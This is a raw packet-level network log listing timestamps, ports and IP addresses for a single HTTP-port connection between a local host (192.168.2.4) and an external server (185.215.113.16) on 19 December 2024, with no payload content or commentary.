Dec 19, 2024 07:56:45.441728115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.443387032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.443420887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.443450928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.445113897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.445178986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.445225000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.446768999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.446819067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.446911097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.448687077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.448723078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.448750019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.450268984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.450319052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.450409889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.452100992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.452158928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.452182055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.453828096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.453877926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.454057932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.455584049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.455619097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.455636978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.457282066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.457335949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.457393885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.459074974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.459109068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.459136963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.460731983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.460786104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.460911036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.462573051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.462605953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.462622881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.509146929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.569900036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.569916964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.569955111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.570554018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.570566893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.570606947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.571926117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.573379040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.573390007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.573422909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.574827909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.574840069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.574875116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.575352907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.575395107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.576365948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.576378107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.576426983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.577797890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.577810049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.577857971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.579082966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.580482960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.580495119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.580530882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.581855059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.581866026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.581938028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.582416058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.582456112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.583338976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.583350897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.583388090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.584686995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.584697962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.584733009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.585900068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.586062908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.586110115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.587260962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.587843895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.587887049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.588685989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.588696957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.588726997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.589906931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.590715885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.590760946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.591355085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.591367006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.591398954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.592715025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.592726946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.592761993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.594023943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.594037056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.594070911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.595455885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.595468998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.595500946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.596692085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.596704006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.596736908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.598104000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.598680973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.598731995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.599328995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.599440098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.599479914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.600881100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.600893021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.600925922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.602055073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.602066040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.602102041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.603372097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.604068995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.604114056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.604742050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.604754925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.604794979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.605994940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.606156111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.606194973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.607255936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.607376099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.607418060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.608577013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.609951973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.609962940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.610001087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.610826969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.610878944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.611491919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.611504078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.611540079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.612802982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.612814903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.612854004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.613950968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.614820957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.614865065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.615427017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.615438938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.615473986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.616764069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.616776943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.616836071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.617981911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.618824959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.618872881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.619482040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.619493961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.619537115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.620704889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.620754004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.620793104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.621978045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.622039080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.622088909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.623292923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.623399019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.623436928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.624634027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.624752998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.624810934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.626000881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.626204967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.626245975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.627548933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.627563000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.627599001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.628695965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.628947020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.628990889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.630068064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.630080938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.630120039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.631330967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.631439924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.631484032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.632764101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.632777929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.632822037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.634057999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.634130955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.634183884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.635359049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.635481119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.635538101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.636681080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.636794090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.636853933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.638004065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.638099909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.638153076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.639358997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.639448881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.639502048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.640626907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.693813086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.757440090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.757457972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.757519007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.757791996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.757978916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.758024931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.759303093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.759321928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.759381056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.760304928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.760325909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.760395050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.761251926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.761797905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.761838913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.763339043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.763351917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.763398886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.764127016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.764138937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.764170885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.765121937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.765132904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.765181065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.766336918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.766608953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.766654015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.767555952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.767703056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.767745972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.768578053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.768759966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.768807888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.769881010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.770035028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.770096064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.770972967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.771127939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.771167994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.772114992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.772409916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.772449970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.773444891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.773622990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.773665905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.774585962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.774599075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.774636984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.775701046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.775836945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.775877953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.776561022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.776612043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.776659012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.779052973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.779069901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.779082060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.779093027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.779126883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.779165030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.779989004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.780194998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.780304909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.781084061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.781212091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.781258106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.782310963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.783373117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.783416033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.783484936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.783497095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.783539057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.784703016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.784714937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.784750938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.785846949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.785860062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.785906076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.787080050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.787091017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.787139893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.788089037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.788289070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.788330078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.789405107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.789414883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.789448023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.790604115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.790615082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.790759087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.791702032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.791721106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.791759968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.792758942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.792949915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.793003082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.794009924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.794027090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.794071913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.795207977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.795219898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.795265913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.796436071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.796448946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.796485901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.797431946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.797921896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.797964096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.798753977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.798765898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.798798084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.799727917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.800348997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.800393105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.800987005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.800997972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.801104069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.802124023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.802253962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.802287102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.803368092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.803653002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.803694010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.804461002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.804713011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.804749966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.805707932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.805725098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.805773973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.806854963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.807363033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.807399988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.808020115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.808908939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.808949947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.809165955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.809236050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.809271097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.810295105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.811242104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.811285973 CET	49744	80	192.168.2.4	185.215.113.16
